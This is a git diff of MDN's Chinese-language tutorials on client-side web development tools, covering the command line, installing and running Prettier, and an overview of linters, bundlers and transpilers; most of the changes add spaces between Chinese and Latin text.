+现在在您的系统上安装 npm,转到上面的 URL,下载并运行适合您的操作系统的 Node.js 安装程序。如果出现提示,请确保将 npm 作为安装的一部分。
添加工具
- - 尽管我们将在下一篇文章中讨论许多不同的工具,但我们将继续深入研究 Prettier. Prettier是一种固执己见的代码格式化程序,它只有“很少的选择”。更少的选择往往意味着更简单。考虑到工具在复杂性方面有时会失控,“很少的选项”可能非常有吸引力。
+尽管我们将在下一篇文章中讨论许多不同的工具,但我们将继续深入研究 Prettier. Prettier 是一种固执己见的代码格式化程序,它只有“很少的选择”。更少的选择往往意味着更简单。考虑到工具在复杂性方面有时会失控,“很少的选项”可能非常有吸引力。
在哪里下载我们的CLI工具?
+在哪里下载我们的 CLI 工具?
@@ -769,7 +769,7 @@ - 在开始安装Prettier之前,有一个问题需要回答:“我们应该安装到哪里?”
+在开始安装 Prettier 之前,有一个问题需要回答:“我们应该安装到哪里?”
在哪里下载我们的CLI工具
@@ -787,7 +787,7 @@ - 您团队中的其他开发人员无法使用这些工具,例如,如果您通过git这样的工具共享代码仓库。
+您团队中的其他开发人员无法使用这些工具,例如,如果您通过 git 这样的工具共享代码仓库。
在哪里下载我们的CLI工具
@@ -810,7 +810,7 @@ - 与前一点相关的是,它使得项目代码更难复制(如果您在本地安装工具,可以将它们设置为依赖项并使用npm进行安装(
+npm install
).与前一点相关的是,它使得项目代码更难复制 (如果您在本地安装工具,可以将它们设置为依赖项并使用 npm 进行安装 (
npm install
).在哪里下载我们的CLI工具
@@ -833,7 +833,7 @@ - 就像任何其他unix命令
+就像任何其他 unix 命令
下载 Prettier
@@ -841,22 +841,22 @@ - 对于本文,我们将安装Prettier作为全局命令行实用程序。
+对于本文,我们将安装 Prettier 作为全局命令行实用程序。
下载 Prettier
- Prettier是一款专门为前端开发人员设计的代码格式化工具,专注于基于javascript的语言,并增加了对HTML、CSS、SCSS、JSON等的支持。Prettier 能够:
+Prettier 是一款专门为前端开发人员设计的代码格式化工具,专注于基于 javascript 的语言,并增加了对 HTML、CSS、SCSS、JSON 等的支持。Prettier 能够:
- -
-省去了在所有代码文件中手动保持样式一致的认知开销;Prettier可以自动为您完成此操作。 +省去了在所有代码文件中手动保持样式一致的认知开销;Prettier 可以自动为您完成此操作。 - 帮助Web新手以最佳方式完成他们的代码.
+- 帮助 Web 新手以最佳方式完成他们的代码。
- 安装在任何操作系统上,甚至直接作为项目工具的一部分,以确保从事您的代码工作的同事和朋友使用您正在使用的代码风格。
@@ -866,14 +866,14 @@ - 配置为在保存时运行、在键入时运行,甚至在发布代码之前运行(使用稍后将在模块中看到的其他工具)。
+配置为在保存时运行、在键入时运行,甚至在发布代码之前运行 (使用稍后将在模块中看到的其他工具)。
下载 Prettier
- 安装node之后,打开终端并运行以下命令来安装prettier程序:
+安装 node 之后,打开终端并运行以下命令来安装 prettier 程序:
npm install --global prettier-命令运行完成后,Prettier工具现在可以在终端中的文件系统中的任何位置使用。
+命令运行完成后,Prettier 工具现在可以在终端中的文件系统中的任何位置使用。
@@ -938,7 +938,7 @@ @@ -913,7 +913,7 @@ 尝试 Prettier
@@ -925,7 +925,7 @@ - 让我们快速演示一下Prettier,这样您就可以看到它是如何工作的。
+让我们快速演示一下 Prettier,这样您就可以看到它是如何工作的。
尝试 Prettier
首先,在文件系统中容易找到的地方创建一个新目录。可能是一个叫做
-prettier-test
在你的Desktop
.现在将以下代码保存在一个名为
+index.js
, 在测试目录中:现在将以下代码保存在一个名为
index.js
, 在测试目录中:尝试 Prettier
@@ -960,7 +960,7 @@ - 我们可以在代码基上运行得更好,以检查我们的代码是否需要调整。cd到您的目录中,并尝试运行此命令:
+我们可以在代码基上运行得更好,以检查我们的代码是否需要调整。cd 到您的目录中,并尝试运行此命令:
尝试 Prettier
@@ -984,7 +984,7 @@ - 有些代码样式是可以修改的。没有问题。添加
+--write
option to the prettier命令将修复这些问题,让我们专注于实际编写有用的代码。有些代码样式是可以修改的。没有问题。添加
--write
option to the prettier 命令将修复这些问题,让我们专注于实际编写有用的代码。尝试 Prettier
@@ -1001,7 +1001,7 @@ - 但更重要的是,如果你回头看你的JavaScript文件,你会发现它被重新格式化成这样:
+但更重要的是,如果你回头看你的 JavaScript 文件,你会发现它被重新格式化成这样:
尝试 Prettier
@@ -1009,7 +1009,7 @@ - 根据您的工作流(或您选择的工作流),您可以将其作为流程的自动化部分。自动化确实是工具的优势所在;我们的个人偏好是那种无需配置任何东西就能“自动发生”的自动化。
+根据您的工作流 (或您选择的工作流),您可以将其作为流程的自动化部分。自动化确实是工具的优势所在;我们的个人偏好是那种无需配置任何东西就能“自动发生”的自动化。
尝试 Prettier
@@ -1019,7 +1019,7 @@ - 使用Prettier有许多实现自动化的方法,尽管它们超出了本文的范围,但是有一些很好的在线资源可以提供帮助(已经链接到其中一些)。您可以调用更漂亮的:
+使用 Prettier 有许多实现自动化的方法,尽管它们超出了本文的范围,但是有一些很好的在线资源可以提供帮助 (已经链接到其中一些)。您可以调用更漂亮的:
尝试 Prettier
@@ -1047,7 +1047,7 @@ - 在将代码提交到git存储库之前,使用Husky.
+在将代码提交到 git 存储库之前,使用Husky.
尝试 Prettier
@@ -1066,22 +1066,22 @@ - 我们个人的偏好是第二个当使用say VS代码时,Prettier会启动并清理每次我们点击保存时需要做的格式化。关于以不同方式使用Prettier,您可以在 Prettier docs.
+我们个人的偏好是第二个当使用 say VS 代码时,Prettier 会启动并清理每次我们点击保存时需要做的格式化。关于以不同方式使用 Prettier,您可以在 Prettier docs.
尝试其他的工具
- -
bat
— 一个更好的cat
(cat
用于打印文件内容)。- -
prettyping
—ping
在命令行上,但是是可视化的(ping是检查服务器是否有响应的有用工具)。- +
htop
—进程查看器,当某些东西使您的CPU风扇的行为像一个喷气发动机,并且您想要识别出错的程序时,它非常有用。- +
prettyping
—ping
在命令行上,但是是可视化的 (ping 是检查服务器是否有响应的有用工具)。htop
—进程查看器,当某些东西使您的 CPU 风扇的行为像一个喷气发动机,并且您想要识别出错的程序时,它非常有用。tldr
—在本章前面提到的,但是可以作为命令行工具使用。- 注意,上面的一些建议可能需要使用npm进行安装,就像我们使用Prettier所做的那样。
+注意,上面的一些建议可能需要使用 npm 进行安装,就像我们使用 Prettier 所做的那样。
总结
-这使我们结束了对终端/命令行的简短浏览。 接下来,我们将更详细地介绍软件包管理器,以及如何使用它们。
+这使我们结束了对终端/命令行的简短浏览。接下来,我们将更详细地介绍软件包管理器,以及如何使用它们。
{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}
diff --git a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html index b107d4a33dd32e..97669c65ae2637 100644 --- a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html +++ b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/index.html @@ -1,11 +1,11 @@ --- -title: 理解客户端web开发工具 +title: 理解客户端 web 开发工具 slug: Learn/Tools_and_testing/Understanding_client-side_tools translation_of: Learn/Tools_and_testing/Understanding_client-side_tools ---{{LearnSidebar}}-客户端工具可能让人望而生畏, 不过这个系列的文章主要目的在于展示一些最常见的客户端工具的用途,阐明可以被你链接使用的工具,如何使用包管理器安装这些工具,以及如何使用命令行操控它们。我们将以一个完整的工具链示例收尾,示例会向你展示如何变得更具生产力。
+客户端工具可能让人望而生畏,不过这个系列的文章主要目的在于展示一些最常见的客户端工具的用途,阐明可以被你链接使用的工具,如何使用包管理器安装这些工具,以及如何使用命令行操控它们。我们将以一个完整的工具链示例收尾,示例会向你展示如何变得更具生产力。
@@ -25,13 +25,13 @@指南
diff --git a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html index d6937a7f5c37ea..2155a9ad453692 100644 --- a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html +++ b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html @@ -7,13 +7,13 @@
- 1. 客户端工具概览
-- 在这篇文章中,我们会简要介绍现代web工具:在web应用开发的生命周期中的何时使用何种工具,以及如何寻求帮助。
+- 在这篇文章中,我们会简要介绍现代 web 工具:在 web 应用开发的生命周期中的何时使用何种工具,以及如何寻求帮助。
- 2. 命令行速成课程
- 毫无疑问,在开发过程中,你需要在终端(或者在“命令行”,它们其实是同一个东西)中运行一些命令。这篇文章将会提供对终端的介绍,包括一些你需要输入的基本命令,如何将命令链接在一起,以及何如添加你自己的命令行(CLI)工具。
- 3. 包管理基础
- 在这篇文章中,我们将会详细看一看包管理器,从而理解如何在我们自己的工程中使用它们——安装工程工具依赖、更新等等。
- 4. 一个完整的工具链
-- 在这个系列的最后几篇文章中,我们将会带你构建一个工具链样例,从而帮你巩固前面学到的知识。我们将从设立一个实际的开发环境开始,一路在Netlify上相应的位置放置发布你的应用所需要的转换工具。在这篇文章里,我们将介绍一个设立我们的开发环境以及代码转换工具的例子。
+- 在这个系列的最后几篇文章中,我们将会带你构建一个工具链样例,从而帮你巩固前面学到的知识。我们将从设立一个实际的开发环境开始,一路在 Netlify 上相应的位置放置发布你的应用所需要的转换工具。在这篇文章里,我们将介绍一个设立我们的开发环境以及代码转换工具的例子。
- 5. 发布你的应用
-- 在我们系列的最后一篇文章中,我们将会使用我们在前篇文章中构建的示例工具链,以便我们能够发布我们的样例应用。我们将代码推到Github,使用Netlify进行发布,甚至还会向你展示如何在这个过程中加入一个简单的测试。
+- 在我们系列的最后一篇文章中,我们将会使用我们在前篇文章中构建的示例工具链,以便我们能够发布我们的样例应用。我们将代码推到 Github,使用 Netlify 进行发布,甚至还会向你展示如何在这个过程中加入一个简单的测试。
{{NextMenu("Learn/Tools_and_testing/Understanding_client-side_tools/Command_line", "Learn/Tools_and_testing/Understanding_client-side_tools")}}-在本文中,我们提供了现代web工具的概述,有哪些工具可用,在web应用程序开发的生命周期中您将在哪里遇到它们,以及如何使用各个工具寻求帮助。
+在本文中,我们提供了现代 web 工具的概述,有哪些工具可用,在 web 应用程序开发的生命周期中您将在哪里遇到它们,以及如何使用各个工具寻求帮助。
先决条件: -熟悉核心HTML,CSS和JavaScript语言。 +熟悉核心 HTML,CSS 和 JavaScript 语言。 目标 @@ -32,29 +32,29 @@现代工具概述
-随着时间的推移,为网络编写软件已经变得越来越复杂。尽管“手工”编写HTML、CSS和JavaScript仍然是完全合理的,但现在有大量的工具可供开发人员使用,以加快构建web站点或应用程序的过程。
+随着时间的推移,为网络编写软件已经变得越来越复杂。尽管“手工”编写 HTML、CSS 和 JavaScript 仍然是完全合理的,但现在有大量的工具可供开发人员使用,以加快构建 web 站点或应用程序的过程。
有一些非常完善的工具已经成为开发社区中常见的“家喻户晓的名字”,并且每天都在编写和发布新的工具来解决特定的问题。您甚至可能发现自己正在编写一个软件来帮助您自己的开发过程,以解决现有工具似乎无法处理的特定问题。
-单个项目中包含的大量工具很容易让人不知所措。同样,像Webpack这样的工具的一个配置文件可能有数百行之长,其中大多数都是神奇的咒语,似乎可以完成工作,但只有大神级工程师才能完全理解
+单个项目中包含的大量工具很容易让人不知所措。同样,像 Webpack 这样的工具的一个配置文件可能有数百行之长,其中大多数都是神奇的咒语,似乎可以完成工作,但只有大神级工程师才能完全理解
- - 有时,即使是最有经验的web开发人员也会因为工具问题而陷入困境;甚至在接触到一行应用程序代码之前,都可能浪费数小时来尝试让工具管道工作。如果你发现自己在过去挣扎,那么用担心,你并不孤独。
+有时,即使是最有经验的 web 开发人员也会因为工具问题而陷入困境;甚至在接触到一行应用程序代码之前,都可能浪费数小时来尝试让工具管道工作。如果你发现自己在过去挣扎,那么用担心,你并不孤独。
在这篇文章中,我们将不会回答所有关于web工具的所有问题,但我们将为您提供一个了解基本原理的有用起点,你可以从中构建。对于任何复杂的主题,最好从小处开始,然后逐步进行更高级的使用。
+在这篇文章中,我们将不会回答所有关于 web 工具的所有问题,但我们将为您提供一个了解基本原理的有用起点,你可以从中构建。对于任何复杂的主题,最好从小处开始,然后逐步进行更高级的使用。
现代工具系统
当今的现代开发人员工具生态系统非常庞大,因此对这些工具正在解决的主要问题有一个大致的概念是非常有用的。如果你跳到你最喜欢的搜索引擎上,搜索“前端开发工具”,你会得到一系列的结果,从文本编辑器到浏览器,再到你可以用来做笔记的笔。
-虽然您选择的代码编辑器肯定是一种工具选择,但本系列文章将不止于此,重点关注帮助您更有效地生成web代码的开发人员工具。
+虽然您选择的代码编辑器肯定是一种工具选择,但本系列文章将不止于此,重点关注帮助您更有效地生成 web 代码的开发人员工具。
@@ -66,7 +66,7 @@ 现代工具系统
@@ -102,14 +102,14 @@
- 安全网络 — 在代码开发期间有用的工具。
-- 转换 — 以某种方式转换代码的工具,例如将一种中间语言转换为浏览器可以理解的JavaScript。
+- 转换 — 以某种方式转换代码的工具,例如将一种中间语言转换为浏览器可以理解的 JavaScript。
- 开发后阶段 — 编写完代码后有用的工具,如测试和部署工具。
安全网络
Linters
-Linters 是检查您的代码并告诉您存在任何错误的工具,它们是什么类型的错误,以及它们出现在哪些代码行上。通常,linters不仅可以被配置为报告错误,还可以报告任何违反您的团队可能正在使用的指定样式指南的行为(例如代码使用了错误的缩进空格数,或者使用了template literals 而不是常规的字符串文本)。
+Linters 是检查您的代码并告诉您存在任何错误的工具,它们是什么类型的错误,以及它们出现在哪些代码行上。通常,linters 不仅可以被配置为报告错误,还可以报告任何违反您的团队可能正在使用的指定样式指南的行为 (例如代码使用了错误的缩进空格数,或者使用了template literals 而不是常规的字符串文本)。
-eslint 业界标准的JavaScript linter是一种高度可配置的工具,用于捕获潜在的语法错误,并在代码中鼓励“最佳实践”。一些公司和项目也是这样 shared their eslint configs。
+eslint 业界标准的 JavaScript linter 是一种高度可配置的工具,用于捕获潜在的语法错误,并在代码中鼓励“最佳实践”。一些公司和项目也是这样 shared their eslint configs。
@@ -117,7 +117,7 @@ - 您还可以找到用于其他语言的linting工具,比如csslint。
+您还可以找到用于其他语言的 linting 工具,比如csslint。
Linters
@@ -127,18 +127,18 @@ - 同样值得一看的是 webhint, 一个可配置的,开放源码的网页链接,展示了最佳实践,包括可访问性,性能,跨浏览器兼容性 MDN's browser compatibility data, 安全, PWAs测试等等。它可以作为 Node.js command-line tool 和 VS Code extension.
+同样值得一看的是 webhint, 一个可配置的,开放源码的网页链接,展示了最佳实践,包括可访问性,性能,跨浏览器兼容性 MDN's browser compatibility data, 安全,PWAs 测试等等。它可以作为 Node.js command-line tool 和 VS Code extension.
源代码控制
- - 也称为版本控制系统(VCS),源代码控制对于备份工作和在团队中工作至关重要。典型的VCS包括拥有您要对其进行更改的代码的本地版本。然后将更改“推”到存储在某个服务器上的远程存储库中的代码的“主”版本。通常有一种方法来控制和协调对代码的“主”副本做了什么更改,以及什么时候做更改,这样开发团队就不会一直覆盖彼此的工作。
+也称为版本控制系统 (VCS),源代码控制对于备份工作和在团队中工作至关重要。典型的 VCS 包括拥有您要对其进行更改的代码的本地版本。然后将更改“推”到存储在某个服务器上的远程存储库中的代码的“主”版本。通常有一种方法来控制和协调对代码的“主”副本做了什么更改,以及什么时候做更改,这样开发团队就不会一直覆盖彼此的工作。
Git 是现在大多数人使用的源代码控制系统。它主要通过命令行访问,但也可以通过友好的用户界面访问。使用git存储库中的代码,您可以将其推到自己的服务器实例中,或者使用托管的源代码控制网站,如GitHub, GitLab, or BitBucket.
+Git 是现在大多数人使用的源代码控制系统。它主要通过命令行访问,但也可以通过友好的用户界面访问。使用 git 存储库中的代码,您可以将其推到自己的服务器实例中,或者使用托管的源代码控制网站,如GitHub, GitLab, or BitBucket.
-我们将在这个模块中使用GitHub。你可以在网站上找到更多关于它的信息Git and GitHub.
+我们将在这个模块中使用 GitHub。你可以在网站上找到更多关于它的信息Git and GitHub.
代码格式化
-代码格式化程序与linters有些关联,除了它们不是指出代码中的错误,而是根据你的样式规则,确保你的代码被正确格式化,理想情况下自动修复它们发现的错误。
+代码格式化程序与 linters 有些关联,除了它们不是指出代码中的错误,而是根据你的样式规则,确保你的代码被正确格式化,理想情况下自动修复它们发现的错误。
Prettier 是一个非常流行的代码格式化程序示例,稍后我们将在模块中使用它。
@@ -147,12 +147,12 @@打包工具
- - 这些工具让你的代码准备生产,例如,通过tree-shaking来确保只有实际使用的代码库的部分被放到最终的生产代码中,或“缩减”删除所有空格在生产代码中,使其尽可能小之前上传到服务器。
+这些工具让你的代码准备生产,例如,通过 tree-shaking 来确保只有实际使用的代码库的部分被放到最终的生产代码中,或“缩减”删除所有空格在生产代码中,使其尽可能小之前上传到服务器。
Parcel 是一个特别好用的工具,都属于这个类别可以完成上面的任务,但也有助于资产包像HTML, CSS和图像文件方便的包,你可以继续部署,也为您自动添加依赖项当你试着使用它们。它甚至可以为您处理一些代码转换任务。
+Parcel 是一个特别好用的工具,都属于这个类别可以完成上面的任务,但也有助于资产包像 HTML, CSS 和图像文件方便的包,你可以继续部署,也为您自动添加依赖项当你试着使用它们。它甚至可以为您处理一些代码转换任务。
Webpack 是一个非常流行的代码格式化程序示例,稍后我们将在模块中使用它。
@@ -161,7 +161,7 @@转换
@@ -169,25 +169,25 @@ - web应用程序生命周期的这个阶段通常允许您编写“未来代码”(比如最新的CSS或JavaScript特性,这些特性可能还没有得到浏览器的本地支持),或者完全使用另一种语言编写代码,比如 TypeScript. 转换工具将为您生成与浏览器兼容的代码,以用于生产。
+web 应用程序生命周期的这个阶段通常允许您编写“未来代码”(比如最新的 CSS 或 JavaScript 特性,这些特性可能还没有得到浏览器的本地支持),或者完全使用另一种语言编写代码,比如 TypeScript. 转换工具将为您生成与浏览器兼容的代码,以用于生产。
转换
- 通常web开发被认为是三种语言: HTML, CSS, and JavaScript, 所有这些语言都有转换工具。转换提供了两个主要好处(还有其他好处)
+通常 web 开发被认为是三种语言:HTML, CSS, and JavaScript, 所有这些语言都有转换工具。转换提供了两个主要好处 (还有其他好处)
-
@@ -197,7 +197,7 @@- 能够使用最新的语言特性编写代码,并将其转换为可在日常设备上使用的代码。例如,您可能希望使用尖端的新语言特性来编JavaScript,但是您的最终产品代码仍然可以在不支持这些特性的旧浏览器上工作。例如: +
- 能够使用最新的语言特性编写代码,并将其转换为可在日常设备上使用的代码。例如,您可能希望使用尖端的新语言特性来编 JavaScript,但是您的最终产品代码仍然可以在不支持这些特性的旧浏览器上工作。例如:
--
- Babel:一个JavaScript编译器,允许开发人员使用最前沿的JavaScript编写代码,然后Babel将其转换为老式的JavaScript,让更多的浏览器能够理解。开发人员也可以编写和发布plugins for Babel.
-- PostCSS:和Babel做同样的事情,但是有先进的CSS特性。如果没有相同的方法使用旧的CSS特性来做一些事情,PostCSS将安装一个JavaScript填充来模拟您想要的CSS效果。 +
- Babel:一个 JavaScript 编译器,允许开发人员使用最前沿的 JavaScript 编写代码,然后 Babel 将其转换为老式的 JavaScript,让更多的浏览器能够理解。开发人员也可以编写和发布plugins for Babel.
+- PostCSS:和 Babel 做同样的事情,但是有先进的 CSS 特性。如果没有相同的方法使用旧的 CSS 特性来做一些事情,PostCSS 将安装一个 JavaScript 填充来模拟您想要的 CSS 效果。
- 选择用一种完全不同的语言编写代码,并将其转换为与web兼容的语言。例如: +
- 选择用一种完全不同的语言编写代码,并将其转换为与 web 兼容的语言。例如:
-
- Sass/SCSS:这个CSS扩展允许您使用变量、嵌套规则、混合、函数和许多其他特性,其中一些特性在本地CSS中是可用的(比如变量),而另一些则不是。
-- TypeScript:TypeScript是JavaScript的一个超集,它提供了一堆额外的特性。TypeScript编译器在生成产品时将TypeScript代码转换为JavaScript。
-- 框架例如 React, Ember, and Vue:框架提供了许多免费的功能,并允许您通过构建在普通JavaScript之上的自定义语法来使用它们。在后台,框架的JavaScript代码努力解释这个定制语法,并将其呈现为最终的web应用程序。
+- Sass/SCSS:这个 CSS 扩展允许您使用变量、嵌套规则、混合、函数和许多其他特性,其中一些特性在本地 CSS 中是可用的 (比如变量),而另一些则不是。
+- TypeScript:TypeScript 是 JavaScript 的一个超集,它提供了一堆额外的特性。TypeScript 编译器在生成产品时将 TypeScript 代码转换为 JavaScript。
+- 框架例如 React, Ember, and Vue:框架提供了许多免费的功能,并允许您通过构建在普通 JavaScript 之上的自定义语法来使用它们。在后台,框架的 JavaScript 代码努力解释这个定制语法,并将其呈现为最终的 web 应用程序。
开发后阶段
@@ -215,7 +215,7 @@ - 开发后阶段工具可以确保您的软件能够访问web并继续运行。这包括部署流程、测试框架、审计工具等等。
+开发后阶段工具可以确保您的软件能够访问 web 并继续运行。这包括部署流程、测试框架、审计工具等等。
测试工具
@@ -250,7 +250,7 @@ - 它们通常采用一种工具的形式,该工具将自动对您的代码运行测试,以确保在进行进一步操作之前它是正确的(例如,当您试图将更改推送到GitHub repo时)。这可能包括linting,但也包括更复杂的过程,如单元测试,在这里运行部分代码,以确保它们按照应有的方式运行。
+它们通常采用一种工具的形式,该工具将自动对您的代码运行测试,以确保在进行进一步操作之前它是正确的 (例如,当您试图将更改推送到 GitHub repo 时)。这可能包括 linting,但也包括更复杂的过程,如单元测试,在这里运行部分代码,以确保它们按照应有的方式运行。
其他的
@@ -268,7 +268,7 @@ - 在开发后期阶段,还有许多其他可用的工具类型,包括 Code Climate 对于收集代码质量度量, webhint browser extension 用于执行跨浏览器兼容性的运行时分析和其他检查, Github bots 提供更强大的GitHub功能, Updown 提供应用程序运行时间监控等等。
+在开发后期阶段,还有许多其他可用的工具类型,包括 Code Climate 对于收集代码质量度量, webhint browser extension 用于执行跨浏览器兼容性的运行时分析和其他检查,Github bots 提供更强大的 GitHub 功能,Updown 提供应用程序运行时间监控等等。
工具种类的想法
@@ -286,7 +286,7 @@ - 新的开发人员工具通常需要一段时间才能适应其复杂性。Webpack是最著名的工具之一,它以使用起来过于复杂而著称,但是在最新的主要版本中,它大力简化了常用的用法,因此所需的配置被减少到绝对最小。
+新的开发人员工具通常需要一段时间才能适应其复杂性。Webpack 是最著名的工具之一,它以使用起来过于复杂而著称,但是在最新的主要版本中,它大力简化了常用的用法,因此所需的配置被减少到绝对最小。
如何选择并寻求特殊
@@ -313,7 +313,7 @@ - 大多数工具往往是独立编写和发布的,因此,尽管几乎可以肯定有可用的帮助,但它们的位置或格式永远不会相同。因此,很难找到使用工具的帮助,甚至很难选择使用什么工具。关于哪些是最好的工具的知识是有点部落式的,这意味着如果您还没有进入web社区,就很难确定到底应该使用哪些工具!这是我们编写本系列文章的原因之一,希望能够提供其他方法难以找到的第一步。
+大多数工具往往是独立编写和发布的,因此,尽管几乎可以肯定有可用的帮助,但它们的位置或格式永远不会相同。因此,很难找到使用工具的帮助,甚至很难选择使用什么工具。关于哪些是最好的工具的知识是有点部落式的,这意味着如果您还没有进入 web 社区,就很难确定到底应该使用哪些工具!这是我们编写本系列文章的原因之一,希望能够提供其他方法难以找到的第一步。
如何选择并寻求特殊
@@ -323,12 +323,12 @@ - 一个有用的特定地方搜索。对前端开发人员工具的一般web搜索通常是无用的,除非您已经知道您正在搜索的工具的名称。
+一个有用的特定地方搜索。对前端开发人员工具的一般 web 搜索通常是无用的,除非您已经知道您正在搜索的工具的名称。
如何选择并寻求特殊
- - 例如,如果您正在使用npm包管理器来管理依赖项,那么转到npm homepage 并搜索您正在寻找的工具的类型,例如,如果您想要日期格式化实用程序,请尝试搜索“date”,如果您想要搜索通用代码格式化程序,则尝试搜索“formatter”。请注意流行度、质量和维护分数,以及软件包最近更新的时间。还可以点击工具页面,了解每个包每月有多少下载,以及它是否有好的文档,可以用来了解它是否完成了您需要它做的事情。以这些标准为基础date-fns library 看起来是一个很好的日期格式化工具。在本模块的第3章中,您将看到这个工具的实际应用,并了解更多关于包管理器的信息。
+例如,如果您正在使用 npm 包管理器来管理依赖项,那么转到npm homepage 并搜索您正在寻找的工具的类型,例如,如果您想要日期格式化实用程序,请尝试搜索“date”,如果您想要搜索通用代码格式化程序,则尝试搜索“formatter”。请注意流行度、质量和维护分数,以及软件包最近更新的时间。还可以点击工具页面,了解每个包每月有多少下载,以及它是否有好的文档,可以用来了解它是否完成了您需要它做的事情。以这些标准为基础date-fns library 看起来是一个很好的日期格式化工具。在本模块的第 3 章中,您将看到这个工具的实际应用,并了解更多关于包管理器的信息。
- 如果您正在寻找将工具功能集成到代码编辑器中的插件,请查看代码编辑器的“插件/扩展名”页面-请参阅 Atom packages and VSCode extensions,为例。看一看首页上的特色扩展,然后再次尝试搜索你想要的扩展类型(或者工具名称,例如在VSCode扩展页面上搜索“eslint”)。当你得到结果的时候,看看这个扩展有多少颗星或者下载了多少,作为它质量的一个指标。 +
- 如果您正在寻找将工具功能集成到代码编辑器中的插件,请查看代码编辑器的“插件/扩展名”页面 - 请参阅 Atom packages and VSCode extensions,为例。看一看首页上的特色扩展,然后再次尝试搜索你想要的扩展类型 (或者工具名称,例如在 VSCode 扩展页面上搜索“eslint”)。当你得到结果的时候,看看这个扩展有多少颗星或者下载了多少,作为它质量的一个指标。
@@ -347,7 +347,7 @@如何选择并寻求特殊
@@ -355,7 +355,7 @@ - 当您选择要使用的工具时,第一个端口应该是工具项目主页。这可能是一个完整的网站,也可能是代码库中的一个readme文档。例如 date-fns docs就很好、很完整、很容易理解。然而,有些文档可能相当技术性和学术性,并不适合您的学习需求。
+当您选择要使用的工具时,第一个端口应该是工具项目主页。这可能是一个完整的网站,也可能是代码库中的一个 readme 文档。例如 date-fns docs就很好、很完整、很容易理解。然而,有些文档可能相当技术性和学术性,并不适合您的学习需求。
如何选择并寻求特殊
@@ -373,7 +373,7 @@ - 相反,您可能希望找到一些关于如何开始使用特定类型的工具的专门教程。好的起点是搜索网站喜欢CSS Tricks, Dev, freeCodeCamp, and Smashing Magazine, 因为它们是为web开发行业量身定做的。
+相反,您可能希望找到一些关于如何开始使用特定类型的工具的专门教程。好的起点是搜索网站喜欢CSS Tricks, Dev, freeCodeCamp, and Smashing Magazine, 因为它们是为 web 开发行业量身定做的。
总结
- 以上是我们对客户端web工具主题的简要介绍的最后一部分。接下来,我们将为您提供一个关于命令行的速成课程,许多工具都是从命令行调用的。我们将看一看命令行可以做什么,然后尝试安装和使用我们的第一个工具。
+以上是我们对客户端 web 工具主题的简要介绍的最后一部分。接下来,我们将为您提供一个关于命令行的速成课程,许多工具都是从命令行调用的。我们将看一看命令行可以做什么,然后尝试安装和使用我们的第一个工具。